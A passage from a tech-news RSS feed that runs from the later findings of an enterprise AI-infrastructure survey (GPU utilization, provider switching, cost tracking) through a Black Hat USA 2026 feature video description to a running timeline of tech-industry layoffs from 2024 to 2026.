clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Hat USA 2026 - New Features]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 2x - Views:21 Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  

This video walks through some of our new features, the team building them explain what's coming and why it matters: 

Arsenal...]]></description>
<link>https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689244/it-security-video/black-hat-usa-2026-new-features/</guid>
<pubDate>Thu, 23 Jul 2026 15:57:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 2x - Views:21 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/E6mtjQ53HjM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Black Hat USA 2026 isn't just bigger... It's built differently, and Black Hat is closing the gap between knowing and doing.  <br />
<br />
This video walks through some of our new features, the team building them explain what's coming and why it matters: <br />
<br />
Arsenal Labs is reunited with Arsenal. The Interface showcases CTF arenas, including scenarios across healthcare, retail, and more, VR breach investigations, and escape rooms. Our NOC Outpost allows you to step beyond the glass and work alongside the team protecting the event in real time. Bricks and Picks introduces real-world physical security scenarios. The Main Stage moves to the Business Hall floor. A First-Timers Program launches for anyone walking into their first Black Hat. Networking is easier throughout the new Cyber District. <br />
<br />
Timestamps: <br />
0:00 — Why 2026 is different: active learning, hands-on experiences <br />
2:06 — Arsenal + Arsenal Labs: 115 sessions, Drone Zone, The Lab, The Interface <br />
5:51 — Summit Leaders Lounge, Community Conversations, Picture Point <br />
8:21 — NOC Outpost: step beyond the glass, see agentic AI in action <br />
9:48 — Bricks and Picks: lock picking + Lego, physical security scenarios <br />
12:19 — Main Stage + Startup Spotlight (now a global competition) <br />
13:51 — Startup City + AI Zone content stages <br />
16:09 — First-Timers Program (Tuesday 5-7pm) <br />
16:54 — Cyber District: 13 sponsor venues across the week <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
One Step Ahead. <br />
<br />
  <br />
<br />
Black Hat USA 2026 <br />
August 1–6, 2026 | Las Vegas <br />
Register at blackhat.com <br />
Full feature breakdown: Black Hat USA 2026 | Features <br />
<br />
  <br />
<br />
One Step Ahead.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
